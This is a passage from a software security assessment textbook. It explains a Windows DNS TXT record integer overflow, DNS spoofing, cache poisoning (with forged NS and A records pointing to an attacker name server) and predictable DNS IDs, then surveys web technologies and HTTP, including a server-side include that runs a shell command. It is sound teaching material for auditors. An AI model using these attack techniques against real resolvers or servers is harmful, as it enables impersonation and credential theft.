76F23A06). The code it jumps to isn't shown, but it calls SetLastError(). Interested readers can refer to this function in dnsapi.dll on Windows XP or dnsrslvr.dll on Windows 2000. As you can see, this allocation routine could be dangerous. It takes a 16-bit size parameter, so if this function can ever be called with an allocation size of more than 65,535 bytes (the maximum representable 16-bit value), the high 16-bits are ignored, and a small data block not large enough to hold all the data will be allocated. It turns out that DNS packets are limited elsewhere in the code to a maximum of 16,384 bytes for TCP and 1,472 bytes for UDP, so you can't specify a big enough record to trigger an overflow under normal circumstances. However, take a closer look at how text records are processed. The following code is translated into C from the TxTRecordRead() function, which is used to parse records containing text fields. These records are composed of multiple text fields, each one consisting of a single-byte length field followed by text data. struct DnsRecord *TxtRecordRead(int to_unicode, unsigned char *src, unsigned char *end) { unsigned short length; int count, bytes_needed; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1009 struct DnsRecord *record; for(count = 0, bytes_needed = 0; src < end; count++){ length = *src++; bytes_needed += ((to_unicode) ? 2*length + 2 : length + 1); src += length; } if(src != end){ SetLastError(0x0D); return NULL; } record = Dns_AllocateRecord( ((count + 1) * sizeof(char *)) + bytes_needed); ... copy data and pointers ... } For every text field in the record, four bytes are allocated (for a pointer value to point to the text field), and two bytes are allocated for every byte appearing in the text data. The reason is that the data is converted in the text field from UTF-8 encoding to Unicode wide characters. Also, the code adds two bytes for the trailing NUL to appear after the text string it copies. When you have a zero-length record, it consists of a single byte: the length field, which has the value 0. For every zero-length record encountered, six bytes are added to the allocation size passed to Dns_AllocateRecord(): four bytes for the pointer, and two bytes for a NUL value. Six bytes for every one byte appearing in the record allows reaching the 16-bit boundary of 65,535 bytes with a record of around 10,922 bytes, which can be supplied in a TCP packet. Therefore, a buffer overflow can be triggered. DNS Spoofing DNS is a protocol for retrieving information from a large-scale distributed database, and it's used by clients of the service and servers that maintain the entire database. Because the system requires a large degree of trust, what can happen if attackers abuse this trust to feed bad information to those who request DNS information? The implications of this attack can be quite severe, depending on how clients use the false information. In the past, hostnames were commonly used for verification of a user's identity. For example, the UNIX rlogin service consulted a file with combinations of usernames and hostnames to authenticate incoming connections, instead of the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1010 username/password authentication most other services used at the time. Therefore, if attackers could forge DNS responses to make their IP addresses appear to be one of the hosts in this file, they could bypass authentication and log in to the target machine. These days, DNS names are rarely used to authenticate parties in such a direct manner; however, being able to forge DNS responses is still a serious issue. The most serious current risk is impersonation of a legitimate site. Malicious nodes can pose as legitimate destinations and collect authentication details or other sensitive data. For example, attackers could pose as a retailer that clients usually visit (such as www.amazon.com/). By posing as the legitimate site and fooling certain clients, the malicious users might be able to collect Amazon login credentials and credit card information from clients browsing the site. These attackers would have to pull a few tricks to make the spoofed site seem authentic, but they can usually fool most users. Cache Poisoning The original resolver algorithm specified in DNS RFCs was vulnerable to a poisoning attack that enabled attackers to provide malicious IP addresses for arbitrary domain names. Assume that attackers have control of the zone at badperson.com. A victim asks the attackers' name server for the A records of www.badperson.com. They can respond by delegating authority for the www subdomain to the hostname they want to poison. For example, they could include an authority section in the response with these NS resource records: www.badperson.com. NS ns1.google.com. www.badperson.com. NS ns2.google.com. www.badperson.com. NS ns3.google.com. www.badperson.com. NS ns4.google.com. Basically, the attackers are telling the victim that the subdomain www.badperson.com is handled by four authoritative name servers, which happen to be Google's name servers. The death blow comes in the additional section in the response, where attackers place the A resource records for the Google name servers: ns1.google.com A 10.20.30.40 ns2.google.com A 10.20.30.40 ns3.google.com A 10.20.30.40 ns4.google.com A 10.20.30.40 RFC 1034 says the resolution code should check that the delegation is to a "better" name server then the one used in the current query. In this example, the query for www.badperson.com. was made to the badperson.com. name server. This request is The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1011 delegated to the Google name servers, but the packet is saying is the name servers are authoritative for the www.badperson.com. subdomain. This is good enough to pass the algorithm's "better" check. The real problem is the algorithm suggests that code blindly honor the supplemental A records that purport to be helpful glue. Vulnerable implementations of BIND circa 1997 would enter these A records into the cache. Any future requests by victims for a google.com. host would end up contacting the attackers' evil name server at 10.20.30.40. Windows Resolver Bug Windows resolvers also have a bug that allows attackers to hijack popular Web sites for specific targets. Say attackers have control of the zone at badperson.com. A victim asks their name server for the A records of www.badperson.com. This time, attackers can respond by delegating the authority for the com. domain to an evil name server under their control. The authority section might contain this NS resource record: com. NS evil.reallybad.org. There's no reason the victim's resolver should honor this response, as it's completely illogical. However, Windows cached this NS record because of an implementation bug. This means that later, when the resolver needs to contact a name server for the .com zone, it contacts evil.reallybad.org instead. Windows NT and Windows 2000 SP1 and SP2 were vulnerable by default to this problem, and it also affected various Symantec products. Spoofing Responses Most communications between DNS clients and servers occur over UDP, an unreliable and unauthenticated transport. ("Unauthenticated" means there's no way to verify that sender are who they say they are.) TCP is also an unauthenticated transport but to a much lesser extent. (For more information, refer to Chapter 14(? [????.]).) Therefore, how does a client or server know a request is from a legitimate source? The answer is simple: They don't, in a lot of circumstances! The traditional way of validating DNS responses is using the DNS ID field in the header. When a DNS client generates a question, it assigns an (ostensibly) random number for the ID field. When it receives responses, it checks that the DNS ID field matches the request. This check is done by verifying that the response packet has the same value in the DNS ID field as the query packet the client originally sent. With this information, a couple of attacks could be launched. One of the most obvious is a man-in-the-middle attack by someone in a position to observe DNS traffic. This attack is fairly easy to achieve, so chalk it up as a known risk and focus your attention on blind spoofing. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1012 DNS spoofing issues affect both DNS server and client implementations because servers make requests on behalf of clients and usually cache results (if they are configured for recursion). When a server issues a DNS request to recursively resolve a remote host on behalf of a client, remote responses to servers could be forged and subsequently cached. Basically, most attacks of this nature revolve around how predictable an implementation's DNS ID generation algorithm is. The simplest implementations have fixed increments (usually of 1) for each question they generate. In the past, BIND (one of the premier name servers on the Internet) was vulnerable to this problem, as pointed out by Secure Networks Inc. and CORE (documented at http://attrition.org/security/advisory/nai/SNI-12.BIND.advisory). The advisory walks through the steps required to cache poison name servers by forging responses from a remote DNS server. Note In some ways, this attack is not unlike the TCP sequence number spoofing mentioned in Chapter 14(? [????.]), except DNS IDs need to be exact. Injecting TCP data just requires a sequence number within the TCP window. Dan Bernstein gives a great summary of the current risks of blind forgery at http://cr.yp.to/djbdns/forgery.html: An attacker from anywhere on the Internet, without access to the client network and without access to the server network, can also forge responses, although not so easily. In particular, he has to guess the query time, the DNS ID (16 bits), and the DNS query port (15-16 bits). The dnscache program uses a cryptographic generator for the ID and query port to make them extremely difficult to predict. However,  an attacker who makes a few billion random guesses is likely to succeed at least once;  tens of millions of guesses are adequate with a colliding attack;  against BIND, a hundred thousand guesses are adequate, because BIND keeps using the same port for every query; and  against old versions of BIND, a thousand guesses are adequate with a colliding attack. The lack of authentication in this protocol is a recognized problem, and steps have been taken to help secure it. Specifically, DNS messages can be cryptographically verified by using the TKEY and TSIG record types, but this method isn't yet used extensively (even though most implementations support it). For this reason, you can't assume that cryptographic verification protects an implementation from DNS ID prediction vulnerabilities unless the implementation you're reviewing mandates the use of the DNS cryptographic features. DNS ID generation algorithms based on The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1013 known values also might not be very secure. For example, a DNS ID based on the time returned from the time() functions might be quite easy to guess. 8.3.7 Summary This chapter has described a general process for assessing network protocol implementations. To supplement that process, you have also walked through identifying vulnerabilities in several popular protocols. Although this chapter isn't an exhaustive coverage of protocols, it should certainly give you a firm grasp of how to assess an unfamiliar implementation. You should feel comfortable with applying these same basic techniques to reviewing an implementation of a file format specification or other data-exchange method. 8.4 Chapter 17. Web Applications Chapter 17. Web Applications "Maybe this world is another planet's hell." Aldous Huxley, Brave New World 8.4.1 Introduction Web applications are one of the most popular areas of modern software development; in fact, they might be the single biggest innovation of the dot-com era. In less than a decade, they've caused a simple communications protocol (HTTP) to become a primary means of modern interaction. The rapid uptake of Web applications is a result of their capability to provide convenient access to information and services in ways not previously possible. The downside is that Web applications have introduced a new array of security concerns and vulnerability classes, so you'll almost certainly be required to assess the security of Web applications. This task can be formidable because the Web exists as a loose collection of rapidly developing technologies. This collection often includes abstruse architectural patterns intertwined with third-party middleware and Web server platforms. However, you can use some basic strategies to cut through the dizzying array of technologies and focus on the bottom line: finding security vulnerabilities. Of course, much of modern Web application development is tied to complex third-party frameworks, so security reviewers should augment Web application source-code reviews with operational reviews and live testing. Web programming has been divided into two chapters. This chapter gives you an overview of the Web and HTTP, the basic design challenges facing Web developers, and a brief survey of Web programming technologies. Then you learn general The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1014 strategies and techniques for auditing Web applications and operational concerns with the Web environment. Finally, you learn about the types of vulnerabilities that plague these programs and how to find them. Chapter 18(? [????.]), "Web Technologies," covers some popular Web development technologies and examines their security issues. 8.4.2 Web Technology Overview Developing a Web site might seem straightforward or at least easier than developing a full-blown cross-platform networked application. For better or worse, Web technology has evolved to the point that developing a Web application is almost as complex as other networked services. This following paragraph is from the documentation for a popular open-source Web framework, Apache Struts: The core of the Struts framework is a flexible control layer based on standard technologies like Java Servlets, JavaBeans, ResourceBundles, and XML, as well as various Jakarta Commons packages. Struts encourages application architectures based on the Model 2 approach, a variation of the classic Model-View-Controller (MVC) design paradigm. Struts provides its own Controller component and integrates with other technologies to provide the Model and the View. For the Model, Struts can interact with standard data access technologies, like JDBC and EJB, as well as most any third-party packages, like Hibernate, iBATIS, or Object Relational Bridge. For the View, Struts works well with JavaServer Pages, including JSTL and JSF, as well as Velocity Templates, XSLT, and other presentation systems. If you understand all that, you can probably skip the first half of this chapter. If you don't, this chapter and the next cover enough ground that you'll be able to at least approach it. The Struts framework isn't alone in the Web space as far as complexity and approachability. The point is that you need to consider these details when reviewing enterprise-class Web applications. You need to budget a good deal of preparation time or find a strategy for dealing with unfamiliar and complex technology. The remainder of this section provides an overview of the general principles and common elements of the most popular web technologies. The Basics The World Wide Web (WWW) is a distributed global network of servers that publishes documents over various protocols, such as gopher, FTP, and HTTP. A document, or resource, is identified by a Uniform Resource Identifier (URI), such as http://www.neohapsis.com/index.html. This URI is the identifier for the HTML The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1015 document located on the www.neohapsis.com Web server at /index.html, which can be retrieved via and HTTP request. Hypertext Markup Language (HTML) is a simple language for marking up text documents with tags that identify semantic structure and visual presentation. HTML is a Standard Generalized Markup Language (SGML) applicationthat is, a markup language defined in SGML. A key concept in HTML is the hyperlink, which is a reference to another resource on another server (given as a URI). One of the defining characteristics of the Web is that it's composed largely of hypertextinterconnected documents that reference each other via hyperlinks. Hypertext Transport Protocol (HTTP) is a simple protocol that Web servers use to make documents available to clients (discussed in more detail in "HTTP(? [????.])" later in this chapter). A Web client, or Web browser, connects to a Web server by using a TCP connection and issues a simple request for a URI path, such as /index.html. The server then returns this document over the connection or notifies the client if there has been an error condition. Web servers typically listen on port 80. SSL-wrapped HTTP (known as HTTPS) is typically available on port 443. Static Content The most straightforward request a Web server can broker is for a file sitting on its local file system or in memory. The Web server simply retrieves the file and sends it to the network as the HTTP response. This process is known as serving static content because the document is the same for every user every time it's served. Static content is great for data that doesn't change often, like your Star Trek Web site or pictures of your extensive collection of potted meat products. However, more complex Web sites need to be able to control the Web server's output programmatically. The Web server needs to create content on the fly that reacts to users' actions so that it can exhibit the behavior of an application. Naturally, there are myriad ways a programmer can interface with a Web server to create this dynamic content. CGI Common Gateway Interface (CGI) is one of the oldest mechanisms for creating dynamic Web content. A CGI program simply takes input from the Web server via environment variables, the command line, and standard input. This input describes the request the user made to the Web server. The CGI program performs some processing on this input, and then writes its output (usually an HTML document) to standard output. When a Web server receives a request for a CGI program, it simply forks and runs that program as a new process, and then relays the program's output back to the user. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1016 CGI programs can be written in almost any language, as the only real requirement is the ability to write to STDOUT. Perl is a popular choice because of its string manipulation features, as are Python and Ruby. Here is a bare-bones CGI program in Perl: #!/usr/bin/perl print "Content-type: text/html\r\n\r\n"; print "<html><body>hi!</body></html>\r\n"; The primary disadvantage of the CGI model is that it requires a separate process for each Web request, which means it isn't well suited to handling heavy traffic. Modified interfaces are available, such as FastCGI, that allow a more lightweight request-handling process, but CGI-style programs are typically used for low-traffic applications. Web Server APIs Most Web servers provide an API that enables developers to customize the server's behavior. These APIs are provided by creating a shared library or dynamic link library (DLL) in C or C++ that's loaded into the Web server at runtime. These Web server extensions can be used for creating dynamic content, as Web requests can be passed to developer-supplied functions that process them and generate responses. These extensions also allow global modification of the server, so developers can perform analysis or processing of every request the server handles. These APIs allow far more customization than an interface such as CGI because Web developers can alter the behavior of the Web server at a very granular level by manipulating shared data structures and using control APIs and callbacks. Here are the common interfaces:  Internet Server Application Programming Interface (ISAPI) Microsoft provides this API for extending the functionality of its Internet Information Services (IIS) Web server. ISAPI filters and DLLs are often found in older Microsoft-based Web applications, particularly in Web interfaces to commercial software packages.  Netscape Server Application Programming Interface (NSAPI) Netscape's Web server control API can be used to extend Netscape's line of servers and Web proxies. It's occasionally used in older enterprise applications for global input validation as a first line of defense.  Apache API This API supports extension of the Apache open-source Web server via modules and filters. Many of the other Web programming technologies discussed in this chapter are implemented on top of these Web server APIs. Modern Web servers are usually constructed in an open, modular fashion. Therefore, these extension APIs can be used The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1017 to make changes commensurate with what you'd expect from full source-code-based modifications of the Web server. Server-Side Includes A Web server doesn't examine a typical static HTML document when presenting it to a Web browser. The server simply reads the document from memory or disk and sends it out over the network without looking at the document's contents. Several technologies are based on slightly altering this design so that the Web server inspects and processes the document while it serves it to the client. These technologies range in complexity from simple directives to the Web server, to full programming language interpreters embedded in the Web server. The simplest and oldest form of server-side document processing is server-side includes (SSIs), which are specially formatted tags placed in HTML pages. These tags are simple directives to the Web server that are followed as a document is presented to a user. As the Web server outputs the document, it pulls out the SSI tags and performs the appropriate actions. These tags provide basic functionality and can be used to create simple dynamic content. Most Web servers support them in some fashion. Take a look at a few examples of SSIs. The following command prints the value of the Web server variable DOCUMENT_NAME, which is the name of the requested document: <p>The current page is <!--#echo var="DOCUMENT_NAME" --></p> The following SSI directs the server to retrieve the file /footer.html and replace the #include tag with the contents of that file: <!--#include virtual="/footer.html" --> When the Web server parses the following tag, it runs the ls command and replaces the #exec tag with its results: <!--#exec cmd="ls" --> As a security reviewer, SSI functionality should make your ears perk up a little. You learn more some handling issues with SSI in "Programmatic SSI(? [????.])" later in this chapter. Server-Side Transformation Storing the content of a Web site in a format other than HTML is often advantageous. This content might be generated by another program or tool in a common format such The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1018 as XML, or it might reside on a live resource, such as a database server. Web developers can use server-side parsing technologies to instruct the Web server to automatically transform content into HTML on the fly. These technologies are more involved than server-side includes, but they aren't as sophisticated as the more popular full server-side scripting implementations. Extensible Stylesheet Language Transformation (XSLT) is a general language that describes how to turn one XML document into another XML document. Web developers can use XSLT to tell a Web server how to transform a XML document containing a page's content into an HTML document that's presented to users. Say you have the following simple XML document describing a person: <person> <name>Zoe</name> <age>1</age> </person> An XSLT style sheet that describes how to turn this XML document into HTML could look something like this: <xsl:stylesheet version = '1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform'> <xsl:template match="/"> <html> <body> <p>Name: <xsl:value-of select="person/name"/></p> <p>Age: <xsl:value-of select="person/age"/></p> </body> </html> </xsl:template> </xsl:stylesheet> The result of transforming the XML content into HTML is this document: <html> <body> <p>Name: Zoe</p> <p>Age: 1</p> </body> </html> The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1019 Internet Database Connection (IDC) is an older, now unsupported, Microsoft Web programming technology for binding an HTML page to a data source (such as a database) and populating fields in the page with dynamic data. It has strong similarities to XSLT. Web developers create a template, known as an .htx file, which is basically an HTML document with special tags that indicate where data from the database should be inserted. They then create an .idc file that tells the Web server which template file to use and what database query to run to get the values needed to fill in the template. Server-Side Scripting Server-side scripting technology is essentially server-side document processing taken to the next level. Instead of embedding simple directives or providing transformation templates, server-side scripting technologies enable Web developers to embed actual program code in HTML documents. When the Web server encounters these embedded programs, it runs them through an internal program interpreter. This model is popular for small- to medium-scale Web development because it offers good performance, and Web sites that use it are typically simple to develop. Here are the popular server-side scripting technologies:  PHP: Hypertext Preprocessor (PHP) Because PHP is a recursive acronym, so you can probably guess that it's a UNIX-oriented, open-source technology. It's currently a popular language for Web development, especially for small to medium applications. PHP is a scripting language designed from the ground up to be embedded in HTML files and interpreted by a Web server. It's a fairly easy language to pick up because it has much overlap with Perl, C, and Java.  Active Server Pages (ASP) ASP is Microsoft's popular server-side scripting technology. ASP pages can contain code written in a variety of languages, although most developers use VBScript or JScript (Microsoft's JavaScript). It's also relatively easy to develop for because the ASP framework is fairly straightforward, and pages can call Component Object Model (COM) objects for involved processing.  ColdFusion Markup Language (CFML) This server-side scripting language is used by the Adobe (formerly Macromedia) ColdFusion framework. ColdFusion is another popular technology that has retained a core set of developers over many years.  JavaServer Pages (JSP) JSP is ostensibly a server-side scripting language in the same vein as PHP and ASP. It does allow Web developers to embed Java code in HTML documents, but it isn't typically used in the same fashion as other server-side scripting languages. JSP pages are with a component of Java servlet technology, explained in the next bulleted list. Over time, server-side scripting solutions have evolved away from an interpreted model. Instead of running a page through an interpreter for each request, a Web server can compile the page down to a more efficient representation, such as The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1020 bytecode. The Web server needs to do this compilation only once, as it can keep the compiled program in a cache. The virtual machine that interprets the bytecode can then cache the corresponding machine code, resulting in performance similar to a normal compiled language, such as straight C/C++. Here are some popular technologies of this nature:  Java servlets Java is probably responsible for much of the evolution in server-side scripting, as it was originally designed with a compiled model. Java servlets are simply classes that are instantiated by and interact with the Web server through a common interface. JSP pages are actually compiled into Java servlets by the Web server.  ASP.NET ASP.NET is Microsoft's revamping of ASP. ASP.NET page code can be written in any .NET language, such as C# or VB.NET. The pages are compiled down to intermediate language (IL) and cached by the Web server. The .NET framework handles just-in-time (JIT) compilation of the IL.  ColdFusion MX ColdFusion MX compiles CFML pages down to Java bytecode instead of running an interpreter. Note Even pure scripting technologies are often compiled to bytecode when a script is requested for the first time. The bytecode is then cached to accelerate later requests for the same unmodified script. 8.4.3 HTTP HTTP is the network protocol that all Web transactions use under the hood. The next section summarizes the high points, but interested readers should check out RFC 2616 (www.ietf.org) or find a good Web inspection proxy tool and start studying traffic. Overview HTTP is a straightforward request and response protocol, in which every request the client sends to the server is reciprocated with a single response. These requests are performed over TCP connections. In contemporary versions of HTTP, a single TCP connection is typically reused for multiple requests to the same server, but historically, each Web request caused the creation of an entirely new TCP connection. Here's an example of a simple HTTP request: [View full width](? [????.]) GET /testing/test.html HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-gsarcade-launch, application/x- shockwave-flash, application/vnd.ms-excel, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1021 application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Host: test.testing.com:1234 Connection: Keep-Alive HTTP requests are composed of a header and an optional body. A blank linecalled a carriage return/line feed (CRLF)separates the header and the body. The preceding request doesn't have a body, so the blank line is simply the end of the request. The first line of a HTTP request is composed of a method, a URI path, and an HTTP protocol version. The method tells the server what type of request it is. The preceding request has a GET method, which tells the server to retrieve (get) the requested resource. The URI path which tells the server which resource the client is requesting. The preceding request asks for the resource located at /testing/test.html on the server. The protocol version specifies the version of HTTP the client is using. In the preceding request, the client is using version HTTP/1.1. The rest of the lines in the request header share the same general format: a field name followed by a colon, and then a field definition. The preceding request includes the following request header fields:  Accept This header field tells the server which kinds of media (such as an image or application) are acceptable for the response and their order of preference.  Accept-Language This header field tells the server which languages the client accepts and prefers, which in the preceding request is U.S. English.  Accept-Encoding This header field tells the server it can encode the request body with certain schemes if necessary.  User-Agent This header field tells the server what software versions the client is using for its Web browser and operating system. You can see that the preceding request was made from Internet Explorer 6.0 (MSIE 6.0) on a Windows XP machine (Windows NT 5.1) with the .NET 1.1 runtime installed (.NET CLR 1.0.3705; .NET CLR 1.1.4322).  Host This header field tells the Web server which host the request is for, which is useful if multiple Web sites are hosted on the same machine (called virtual hosts). You can see that the request was for the machine named test.testing.com, and the client is talking to the server on port 1234.  Connection This header field gives the server options that are specific to the connection. In the preceding request, the client's Keep-Alive value tells the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1022 server not to close the connection after it answers the request. This way, the client can reuse the TCP connection to issue another request. Now look at the response to this query: HTTP/1.1 404 Not Found Date: Fri, 20 Aug 2006 01:58:14 GMT Server: Apache/1.3.28 (Unix) PHP/4.3.0 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 d3 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>404 Not Found</TITLE> </HEAD><BODY> <H1>Not Found</H1> The requested URL /testing/test.html was not found on this server.<P> </BODY></HTML> 0 HTTP responses are similar to HTTP requests. The response has a header and a body, and the response header is set up so that the first line has a special format. The rest of the header response lines share the field name, colon, and field value format. The first line of the HTTP response header is composed of the HTTP protocol version, the response code, and the response reason phrase. The protocol version is the same as in the request: HTTP/1.1. The response code is a numeric status code that tells the client the result of the request. In the preceding response, it's 404, which is probably familiar to you. If it isn't, the response reason phrase gives a short text description of the status code, which is "Not Found" in this response. The rest of the response header lines provide information to the client:  Date This field tells the client when the server generated the response.  Server This field gives the client information about the Web server software. You can see that the Web server is running Apache 1.3.28 on some kind of UNIX machine.  Keep-Alive and Connection These fields give the client information about the connection and how long it will be held open. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1023  Transfer-Encoding This field tells the client the mechanism the server uses to transmit the body of the response. This server elected to use the chunked method of encoding.  Content-Type This field tells the client the media type and character set of the response, which is a plain HTML document. The response body in the example is encoded with the chunked encoding method, which is made up of a series of chunks. Each chunk has a line specifying its length in hexadecimal and the corresponding data. In the preceding response, d3 specifies 211 bytes of data in the first chunk. The 0 at the end indicates the end of the chunked data. You can see that in the response, which is plain HTML, the server gives an error message to go along with the error code 404. Versions Three versions of HTTP are currently in use: 0.9, 1.0, and 1.1. An HTTP version 0.9 request looks like this: GET / This request retrieves the root document. It's about as straightforward as it can get and can be used for quick manual testing. A minimal HTTP version 1.0 request looks like this: GET / HTTP/1.0 This request is similar to the request shown in the previous section. Note that a blank line (a second CRLF) signifies the end of the HTTP request header and, therefore, the end of the HTTP request. If you're entering requests by hand, HTTP/1.0 is easiest to use because it's simpler than HTTP/1.1. Here's a minimal HTTP/1.1 request: GET / HTTP/1.1 Host: test.com This request is nearly identical to the minimal HTTP/1.0 request, except it requires the client to provide a Host header in the request. Headers HTTP headers provide descriptive information (metadata) about the HTTP connection. They are used in negotiating an HTTP connection and establishing the connection's properties after successful negotiation. HTTP supports a variety of headers that fall into one of four basic categories: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1024  Request Headers in the initial request  Response Headers in the server response  General Headers that can be in a request or response  Entity Headers that apply to a specific entity in the request or response The remainder of this chapter refers to a number of HTTP headers, so Table 17-1 lists them for easy reference. Table 17-1. Request and Response Header Fields Header Type Description Accept Request Lists media (MIME) types the client will accept Accept-Charset Request Lists character encodings the client will accept Accept-Encoding Request Lists content encodings the client will accept, such as compression mechanisms Accept-Language Request Lists languages the client will accept Accept-Ranges Response Server indicates it supports range requests Age Response Freshness of the requested URI Allow Entity Lists HTTP methods allowed for the requested URI Allowed Response Deprecated: lists allowed request methods Authorization Request Presents credentials for HTTP authentication Cache-Control Response Specifies caching requirements for the requested URI Charge-To Request Deprecated: billing information Connection General Allows the client to specify connection options Content-Encoding Entity Identifies additional encoding of the entity body, such as compression Content-Transfer-Encoding Response Deprecated: MIME transfer encoding Content-Language Entity Identifies the language of the entity body Content-Length Entity Identifies the length (in bytes) of the entity body Content-Location Entity Supplies the correct location for the entity if The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1025 Table 17-1. Request and Response Header Fields Header Type Description known and not available at the requested URI Content-MD5 Entity Supplies an MD5 digest of the entity body Content-Range Entity Lists the byte range of a partial entity body Content-Type Entity Specifies the media (MIME) type of the entity Cost Response Deprecated: cost of requested URI Date General Date and time of the message Derived-From Response Deprecated: previous version of requested URI ETag Response Entity tag used for caching purposes Expect Request Lists server behaviors required by the client Expires Entity Date and time after which the entity is considered stale From Request E-mail address of the requester Host Request Host name and port number of the requested URI If-Match Request Used to make request conditional based on entity tags If-Modified-Since Request Used to make request conditional based on HTTP date If-None-Match Request Used to make request conditional based on entity tags If-Range Request Used to make a range request conditional based on entity tags If-Unmodified-Since Request Used to make request conditional based on HTTP date Last-Modified Entity Identifies the time the entity was last modified Location Response Supplies an alternate location for the requested URI Max-Forwards Request Mechanism for limiting the number of gateways in a TRACE or OPTIONS request The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1026 Table 17-1. Request and Response Header Fields Header Type Description Message-Id Response Deprecated: globally unique message identifier Pragma General Used for implementation-specific headers Proxy-Authenticate Response Identifies that a proxy requires authentication Proxy-Authorization Request Presents credentials for HTTP proxy authentication Public Response Deprecated: lists publicly accessible methods Range Request Identifies a specific range of bytes needed from the requested URI Referer Request Client-provided URI responsible for initiating the request Retry-After Response Indicates how long a service is expected to be unavailable Server Response Server identification string TE Request Lists transfer encodings accepted by the client for a chunked transfer Trailer General Indicates header fields present in the trailer of a chunked message Transfer-Encoding General Identifies the encoding applied to the message Upgrade General Identifies additional protocols supported by the client URI Response Deprecated: superseded by Location header field User-Agent Request Contains general information about the client Vary Response Provided by the server to determine cache freshness Version Response Deprecated: version of requested URI Via General Used by gateways and proxies to identify intermediate hosts Warning General Provides additional message status The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1027 Table 17-1. Request and Response Header Fields Header Type Description information WWW-Authenticate Response Initiates the HTTP authentication challenge required by a server WWW-Title Response Deprecated: document title WWW-Link Response Deprecated: external document reference Methods HTTP supports many methods, especially considering vendor extensions to the protocol. The three most important are GET, HEAD, and POST. GET is the most common method used by a client to retrieve a resource. HEAD is identical to GET, except it tells the server not to return the actual document contents. In other words, it tells the server to return only the response headers. POST is used to submit a block of data to a specified resource on the server. The difference between GET and POST is related to how developers use HTML forms and parameters (covered in "Parameters and Forms" later in this chapter). The following sections describe some less common methods. DELETE and PUT The DELETE and PUT methods allow files to be removed from and added to a Web server. Historically, these two methods have been seen little use in real sites; further, they have been associated with a number of vulnerabilities and are usually disabled. The notable exception is using these methods as a component of complete WebDAV support. TEXTSEARCH and SPACEJUMP The TEXTSEARCH and SPACEJUMP requests aren't methods, nor were they ever officially added to the HTTP specification. However, they were proposed methods, and the functionality they describe is supported in modern Web servers. To briefly see how they work, start by looking at the TEXTSEARCH request: GET /customers?John+Doe HTTP/1.0 This request uses the ? character to terminate the request and contains a URL-encoded search string. This string causes the server to run a file at the supplied location and pass the decoded search string as a command line. Anyone familiar with common path traversal attacks should recognize this request type immediately. It's The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1028 the form of request commonly used to pass parameters to an executable file via the query string, which makes it useful in exploiting a path traversal vulnerability. In all truth, this use might be the only remaining one for this request type. The following SPACEJUMP request represents another legacy request type: GET /map/1.1+2.7 HTTP/1.0 This request is designed for handling server-side image maps. It provides the coordinates of a clicked point in an object. As server-side image mapping has disappeared, so has the SPACEJUMP request. It's interesting to note, however, that this request type has also been associated with a number of vulnerabilities. The classic handler for this request (on both Apache and IIS servers) is the htimage program, which has been the source of a number of high-risk vulnerabilities, ranging from data disclosure to stack buffer overflows. OPTIONS and TRACE The OPTIONS and TRACE methods provide information about a server. The OPTIONS request simply lists all methods the server accepts. This information is not particularly sensitive, although it does give a potential attacker details about the system. Further, this method is useful only for servers that support extended functionality, such as WebDAV. The HTTP TRACE method is quite simple, although its implications are interesting. This method simply echoes the request body to the client, ostensibly for testing purposes. Of course, the capability to have a Web site present arbitrary content can present some interesting possibilities for vulnerabilities, discussed in "Cross-Site Scripting(? [????.])" later in this chapter. CONNECT The HTTP CONNECT method provides a way for proxies to establish Secure Sockets Layer (SSL) connections with other servers. It's a reasonable method for use in proxies but is usually dangerous on application servers. WebDAV Methods Web Distributed Authoring and Versioning (WebDAV) is a set of methods and associated protocols for managing files over HTTP connections. It makes use of the standard GET, PUT, and DELETE methods for basic file access. WebDAV adds a number of methods for other file-management tasks, described in Table 17-2. Table 17-2. WebDAV Methods The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1029 Method Description COPY Copies a resource from one URI to another MOVE Moves a resource from one URI to another LOCK Locks a resource for shared or exclusive use UNLOCK Removes a lock from a resource PROPFIND Retrieves properties from a resource PROPPATCH Modifies multiple properties atomically MKCOL Creates a directory (collection) SEARCH Initiates a server-side search Fortunately, most Web applications do not (and certainly should not) expose WebDAV functionality directly. However, you should keep a few points in mind when you encounter WebDAV systems. First, WebDAV uses HTTP as a transport protocol and uses the same basic security mechanisms of SSL and HTTP authentication, so the coverage of these standards also applies to WebDAV. Second, the specification for WebDAV access control is only in draft form and not widely implemented at the time of this writing, so access control capabilities can vary widely between products. Parameters and Forms A Web client transmits parameters (user-supplied input and variables) to a Web application through HTTP in three main ways, explained in the following sections. Embedded Path Information A URI path can contain embedded parameters as part of the path components. This embedded path information can be handled by server-based filtering such as path rewriting rules, which remap the received path and place the information into request variables. Path information may also be handled through the PATH_INFO environment variable common to most web application platforms. The PATH_INFO variable contains additional components appended to a URI resource path. For example, say you have a dynamic Web application at /Webapp, and a user submitted the following request: GET /webapp/blah/blah/blah 